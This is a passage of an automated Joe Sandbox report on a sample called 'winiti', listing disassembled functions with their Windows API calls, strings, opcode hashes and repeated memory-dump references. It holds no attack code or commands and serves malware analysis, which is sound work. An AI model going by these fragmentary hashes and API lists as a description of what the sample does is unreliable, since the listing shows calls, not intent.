Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: b53c1b8baf3fa961f42f9a93c026e3a91cc4469665a52e1080013d420c1a925c
Instruction ID: b644f4fb6a2e8f532c01825d11dd82533922382075aa776276fa9da7d503c99f
Opcode Fuzzy Hash: b53c1b8baf3fa961f42f9a93c026e3a91cc4469665a52e1080013d420c1a925c
Instruction Fuzzy Hash: 0571C2B1F0860387FB689F55AC467EA27A1BB40784F14027DAD5A972DADF39CA438704

Function 000000013F602930 Relevance: 4.5, APIs: 3, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?,00000000,000000013F605348,?,?,0000000A,000000013F6043A0,?,?,00000000,000000013F5FEA91), ref: 000000013F602957
GetCurrentProcess.KERNEL32(?,?,?,?,00000000,000000013F605348,?,?,0000000A,000000013F6043A0,?,?,00000000,000000013F5FEA91), ref: 000000013F602977
VirtualAllocExNuma.KERNEL32 ref: 000000013F602998

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: AllocVirtual$CurrentNumaProcess
String ID:
API String ID: 647533253-0
Opcode ID: 686b3994b09b840201f1684b8296069bddec3b68bb7cd25d79b3609eb5cb6e8f
Instruction ID: 9cbbf5815683449ce7b181dc77c14c9ab82dbb6328c10449afd3571c34a514e3
Opcode Fuzzy Hash: 686b3994b09b840201f1684b8296069bddec3b68bb7cd25d79b3609eb5cb6e8f
Instruction Fuzzy Hash: 83F0C271B04690C2EB208F1AF405749BB60BB49FD4F584138EF9C17B68CB3DC6828B04

Function 000000013F5F9F40 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EventRegister.ADVAPI32(?,?,?,000000013F5F5884), ref: 000000013F5F9F95

Strings

gcConservative, xrefs: 000000013F5FA004

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: EventRegister
String ID: gcConservative
API String ID: 3840811365-1953527212
Opcode ID: 0bd704104a13a76449dc93aebda2a80e695e757360b9318b75be9f098cee9c4f
Instruction ID: f2627492e1bf40e33282682e4a479efd2767b53344183f915ec2a6b47560cabb
Opcode Fuzzy Hash: 0bd704104a13a76449dc93aebda2a80e695e757360b9318b75be9f098cee9c4f
Instruction Fuzzy Hash: 87312231A01B4AC2FB089F59E9883D937A0F749784F4080BEDA4E0766ADB39C75BC751

Function 000000013F658ED4 Relevance: 3.0, APIs: 2, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,000000013F658FD9,?,?,?,?,000000013F5FDBC1,?,?,?,000000013F5FE13C,00000000,00000020,?), ref: 000000013F658EEE
Concurrency::cancel_current_task.LIBCPMT ref: 000000013F658F04

Part of subcall function 000000013F659A2C: std::bad_alloc::bad_alloc.LIBCMT ref: 000000013F659A35

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: Concurrency::cancel_current_taskmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 205171174-0
Opcode ID: b0e683634f6cf977cd568e859ab9fb6e1e75df7de34bcf169af656f9c50744c0
Instruction ID: b41c23d85cf2b60ab07a75abac0f6377ae806af8e89f4555b376d9b60acf166f
Opcode Fuzzy Hash: b0e683634f6cf977cd568e859ab9fb6e1e75df7de34bcf169af656f9c50744c0
Instruction Fuzzy Hash: 0EE017F0E1221EC1FD2866B65A5F3E500600B58370E2C3B3C5D7E69AD2AA2486978220

Function 000000013F5FB2E0 Relevance: 3.0, APIs: 2, Instructions: 18
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 000000013F5FB2F9
CloseHandle.KERNELBASE ref: 000000013F5FB30C

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: CloseCreateHandleThread
String ID:
API String ID: 3032276028-0
Opcode ID: 10e2c95deb48a9fa91c132fa6e8d2868e379d5a6b0bea3614ebc36bd565de11c
Instruction ID: c40bad9cabd79494d5fba423d49e7e7f115b829dd5e6f12864fc9b85a9abbaa9
Opcode Fuzzy Hash: 10e2c95deb48a9fa91c132fa6e8d2868e379d5a6b0bea3614ebc36bd565de11c
Instruction Fuzzy Hash: 43D012B5E0174082DF14DF6568053553AD1BB98B84F85413CD94D83724FA3C83168900

Function 000000013F616690 Relevance: 2.6, APIs: 2, Instructions: 107COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,000000013F61C70D), ref: 000000013F6167AA
LeaveCriticalSection.KERNEL32(?,?,?,000000013F61C70D), ref: 000000013F6167CB

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1a22502bf992a24a703f73c6a817279700c5c49892520407a1fa6d59b5a26f00
Instruction ID: 38930c0044c4228f9f5fb29e733e7f3684e74c9d0a8a2125d37e32b6f83d32d3
Opcode Fuzzy Hash: 1a22502bf992a24a703f73c6a817279700c5c49892520407a1fa6d59b5a26f00
Instruction Fuzzy Hash: D841ACB5A00A4086EB14CF29E8953E537A0EB45BF4F14437DDAB8876E9CF26C647C340

Function 000000013F5FFE40 Relevance: 2.6, APIs: 2, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 000000013F5FFEC0

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 81eb4f473b5f6baa680c7093f92d2b26f8a37406559a141903ec7adff4e5ed1f
Instruction ID: a43def96e9fb57b47a8e80f52bcd9c17bac3dcbab2ea93528cef86e89ddcf819
Opcode Fuzzy Hash: 81eb4f473b5f6baa680c7093f92d2b26f8a37406559a141903ec7adff4e5ed1f
Instruction Fuzzy Hash: 6031AF32B01B51C2EA158B16E50039A73E4EB49FE4F048679DF5C57B98EF38CA678380

Function 000000013F630630 Relevance: 2.5, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 000000013F6029C0: VirtualFree.KERNELBASE ref: 000000013F6029CA

EnterCriticalSection.KERNEL32(?,?,?,000000013F6166E9,?,?,?,000000013F61C70D), ref: 000000013F630662
LeaveCriticalSection.KERNEL32(?,?,?,000000013F6166E9,?,?,?,000000013F61C70D), ref: 000000013F63068C

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveVirtual
String ID:
API String ID: 1320683145-0
Opcode ID: 104b6b8d726536473a8dfb620195b120dc1c760eb9325624558afd6144496d8f
Instruction ID: 4f01b0623b0ad8715dbbbd66f6b1b57a01014ed4bc4ed50855e18ae619841976
Opcode Fuzzy Hash: 104b6b8d726536473a8dfb620195b120dc1c760eb9325624558afd6144496d8f
Instruction Fuzzy Hash: 91F0AF72D04A10D2EA148B11F9C93E927F0F7447D0F554179EADD029B9CB38CA8BC700

Function 000000013F6028F0 Relevance: 2.5, APIs: 2, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000000013F602906
VirtualFree.KERNELBASE ref: 000000013F60291C

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 39155d9e0f21e472d4726bd40e7b7375b22274d9dbcec4a77f59ee3cc5932518
Instruction ID: 35ca85bca57381af152161f5d28af1f23d0407ca12d671c76c5d2c76622eb9d4
Opcode Fuzzy Hash: 39155d9e0f21e472d4726bd40e7b7375b22274d9dbcec4a77f59ee3cc5932518
Instruction Fuzzy Hash: D8E01274F1250082FB1C9B27A84B79527916B9DB40FD4843CC40D47351DE29875B9F50

Function 000000013F60744E Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32 ref: 000000013F607494

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: 7460946a867b334da87abb833cff141128d26cc53670839ff519a9e4497aa03f
Instruction ID: ef1ef7b6f4dbeb5aa02b9fab033331307017333c45e0172871aea3139a467633
Opcode Fuzzy Hash: 7460946a867b334da87abb833cff141128d26cc53670839ff519a9e4497aa03f
Instruction Fuzzy Hash: B241B3B2F08A4583FA54CA11D4427E963A5E394BE0F24423ADE6A577C9DF38CA43C740

Function 000000013F5F5920 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 000000013F5FAA30: VirtualQuery.KERNEL32 ref: 000000013F5FAA62

RaiseFailFastException.KERNEL32 ref: 000000013F5F59A8

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: ExceptionFailFastQueryRaiseVirtual
String ID:
API String ID: 3307674043-0
Opcode ID: 1eb33025fcb74d676cc7358ae85899384f83db43159bf41c0ac61a9e8579e1b9
Instruction ID: 5d076765fbf7b1db1f7f7a1a2ca37f17446293fd08e9949d12868d7a4b41ff76
Opcode Fuzzy Hash: 1eb33025fcb74d676cc7358ae85899384f83db43159bf41c0ac61a9e8579e1b9
Instruction Fuzzy Hash: DD115AB2A0478482DB24AB65B4063CAB360F3457B0F144339A6BE47BD6DF38C6078700

Function 000000013F6029C0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 000000013F6029CA

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 5bf7aecc9f77985d4fc3611f7f1d3a7e0808b60eb16f243669942d2759ca37ea
Instruction ID: 0e99d502d7ab29a07f77347c863c0041619cf0d33133fcbea642a3c70f6d471f
Opcode Fuzzy Hash: 5bf7aecc9f77985d4fc3611f7f1d3a7e0808b60eb16f243669942d2759ca37ea
Instruction Fuzzy Hash: C4B01210F12000C2E30427237C87B0C17142B09B12FC40018C608A2350C91C82E62B10

Non-executed Functions

Function 000000013F602A80 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32 ref: 000000013F602ABC
GetCurrentProcess.KERNEL32 ref: 000000013F602AE4
OpenProcessToken.ADVAPI32 ref: 000000013F602AF7
AdjustTokenPrivileges.ADVAPI32 ref: 000000013F602B1C
GetLastError.KERNEL32 ref: 000000013F602B24
CloseHandle.KERNEL32 ref: 000000013F602B31
GetLargePageMinimum.KERNEL32 ref: 000000013F602B46
VirtualAlloc.KERNEL32 ref: 000000013F602B77
GetCurrentProcess.KERNEL32 ref: 000000013F602B83
VirtualAllocExNuma.KERNEL32 ref: 000000013F602BA3

Strings

SeLockMemoryPrivilege, xrefs: 000000013F602AB5

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: Process$AllocCurrentTokenVirtual$AdjustCloseErrorHandleLargeLastLookupMinimumNumaOpenPagePrivilegePrivilegesValue
String ID: SeLockMemoryPrivilege
API String ID: 1752251271-475654710
Opcode ID: ddb9acfd945d833e265492e35a954827198e86c4bc086900fbe4fb1499a4b753
Instruction ID: a631504ee5ccf36ceb0252255e6a2383b96782c5b9d41d6f00dab553f9949252
Opcode Fuzzy Hash: ddb9acfd945d833e265492e35a954827198e86c4bc086900fbe4fb1499a4b753
Instruction Fuzzy Hash: 74317671A08B4586F7209F65F84A3DA7BA1FB85B88F14403DDA4E47B69DF3CC6468B40

Function 000000013F5F80B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32 ref: 000000013F5F813B
RaiseFailFastException.KERNEL32 ref: 000000013F5F829A
RaiseFailFastException.KERNEL32 ref: 000000013F5F8390
RaiseFailFastException.KERNEL32 ref: 000000013F5F83A6
RaiseFailFastException.KERNEL32 ref: 000000013F5F8406

Strings

[ KeepUnwinding ], xrefs: 000000013F5F83BA

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: ExceptionFailFastRaise
String ID: [ KeepUnwinding ]
API String ID: 2546344036-400895726
Opcode ID: ccef75ce2b4fd517aeb3d753c38118d6ca4b9bf99982452ca9f0cb54815e2628
Instruction ID: bc03652797d1547fed7e402512543eb8b70ebd777d305989926618b52126d6aa
Opcode Fuzzy Hash: ccef75ce2b4fd517aeb3d753c38118d6ca4b9bf99982452ca9f0cb54815e2628
Instruction Fuzzy Hash: 72C18972A01B44C2EB95CF25E5857DD33A5F344B89F58527ACE490B3A8DF31C6AAC350

Function 000000013F5FAB80 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000000013F5F600A), ref: 000000013F5FABA3
GetProcAddress.KERNEL32(?,?,?,?,?,000000013F5F600A), ref: 000000013F5FABB8
GetEnabledXStateFeatures.KERNEL32 ref: 000000013F5FABC5
InitializeContext.KERNEL32 ref: 000000013F5FAC04
GetLastError.KERNEL32(?,?,?,?,?,000000013F5F600A), ref: 000000013F5FAC12
InitializeContext.KERNEL32 ref: 000000013F5FAC66

Strings

InitializeContext2, xrefs: 000000013F5FABAE
kernel32.dll, xrefs: 000000013F5FAB9C

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: ContextInitialize$AddressEnabledErrorFeaturesHandleLastModuleProcState
String ID: InitializeContext2$kernel32.dll
API String ID: 4102459504-3117029998
Opcode ID: 32bbcba0a65d150fc54e544dc3aa3406b0ed7865d1078f9dde3bace6e9329ecd
Instruction ID: c766fb000b4fa87926274620f2bc9ad9efc7041a2b440ce7fef6fb718d29ee76
Opcode Fuzzy Hash: 32bbcba0a65d150fc54e544dc3aa3406b0ed7865d1078f9dde3bace6e9329ecd
Instruction Fuzzy Hash: 4C318D31E05B88C2FB058B55F94639AA390BB84B94F444479ED4D43BA8EF7CD64BC710

Function 000000013F5F5EA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 83threadlibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000000013F5FAF31
GetProcAddress.KERNEL32 ref: 000000013F5FAF41
GetLastError.KERNEL32 ref: 000000013F5FAF94
SuspendThread.KERNEL32 ref: 000000013F5FAFAD
GetThreadContext.KERNEL32 ref: 000000013F5FAFC8
ResumeThread.KERNEL32 ref: 000000013F5FAFF2

Strings

QueueUserAPC2, xrefs: 000000013F5FAF3A
kernel32, xrefs: 000000013F5FAF24

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: Thread$AddressContextErrorLastLibraryLoadProcResumeSuspend
String ID: QueueUserAPC2$kernel32
API String ID: 3714266957-4022151419
Opcode ID: 2c927c7249ad306362750963f21d316bcf2fc60d905bd8730f4bf37492db24bc
Instruction ID: b4d72bed61675486795058888588dceaafb2d69e3f8acd7cfea4761865988793
Opcode Fuzzy Hash: 2c927c7249ad306362750963f21d316bcf2fc60d905bd8730f4bf37492db24bc
Instruction Fuzzy Hash: 79318274B00B40C2EA549B19E9583E933A1BB45BF4F4412BCD96A8BBE5DF2CC64BC741

Function 000000013F60DBE0 Relevance: 10.7, APIs: 7, Instructions: 227threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 000000013F60DCA1
SwitchToThread.KERNEL32 ref: 000000013F60DD4A
SwitchToThread.KERNEL32 ref: 000000013F60DD53
SwitchToThread.KERNEL32 ref: 000000013F60DE8A
SwitchToThread.KERNEL32 ref: 000000013F60DE93
SwitchToThread.KERNEL32 ref: 000000013F60DEBD

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: c13f5500ea1206e8ec5f05ebe3918e2a796096b40ac2d42ce93c8136b207df3a
Instruction ID: 10a9e1d0390f57fdeada19e25c3cd208c79995c06b1c67b84ddbf1f411bff0e6
Opcode Fuzzy Hash: c13f5500ea1206e8ec5f05ebe3918e2a796096b40ac2d42ce93c8136b207df3a
Instruction Fuzzy Hash: B1A1ACB1F08603C7F7589B25AC86BE627B5AB21754F20037DE919876EADF24DA07C700

Function 000000013F5F62A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000000013F5F62DA
GetCurrentProcess.KERNEL32 ref: 000000013F5F62E8
GetCurrentThread.KERNEL32 ref: 000000013F5F62F0
DuplicateHandle.KERNEL32 ref: 000000013F5F6314

